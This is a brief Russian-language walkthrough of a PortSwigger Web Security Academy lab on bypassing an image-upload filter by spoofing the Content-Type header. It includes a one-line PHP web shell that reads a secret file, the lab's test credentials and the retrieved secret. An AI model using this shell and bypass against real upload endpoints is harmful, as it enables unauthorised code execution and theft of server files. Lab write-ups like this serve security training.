На странице
apsyleg1 мин
#portswigger #file-upload #rce #web-security

Web Shell Upload через обход проверки Content-Type

Лаборатория

Web shell upload via Content-Type restriction bypass · Apprentice

Решение

Дано

This lab contains a vulnerable image upload function. It attempts to prevent users
from uploading unexpected file types, but relies on checking user-controllable
input to verify this.

To solve the lab, upload a basic PHP web shell and use it to exfiltrate the
contents of the file /home/carlos/secret. Submit this secret using the button
provided in the lab banner.

You can log in to your own account using the following credentials: wiener:peter

Анализ и разведка

Судя по всему сервер ориентируется только на заголовок Content-Type, а не проверяет реальный формат и расширение файла. Поэтому найдём запрос, отправим шелл, потом в Repeater будем проверять.

Шелл тот же:

<?php echo file_get_contents('/home/carlos/secret'); ?>

Ответ сервера:

Sorry, file type application/x-php is not allowed
Only image/jpeg and image/png are allowed
Sorry, there was an error uploading your file.

Окей, тогда попробуем из предложенных :) Сработало с image/jpeg.

Запускаем шелл:

https://0afc00240467710b80c4f3e900760037.web-security-academy.net/files/avatars/shell.php
nwBgzpEyfEbf0QPqvGNb4sCrrAyLNvmC

Лаба решена!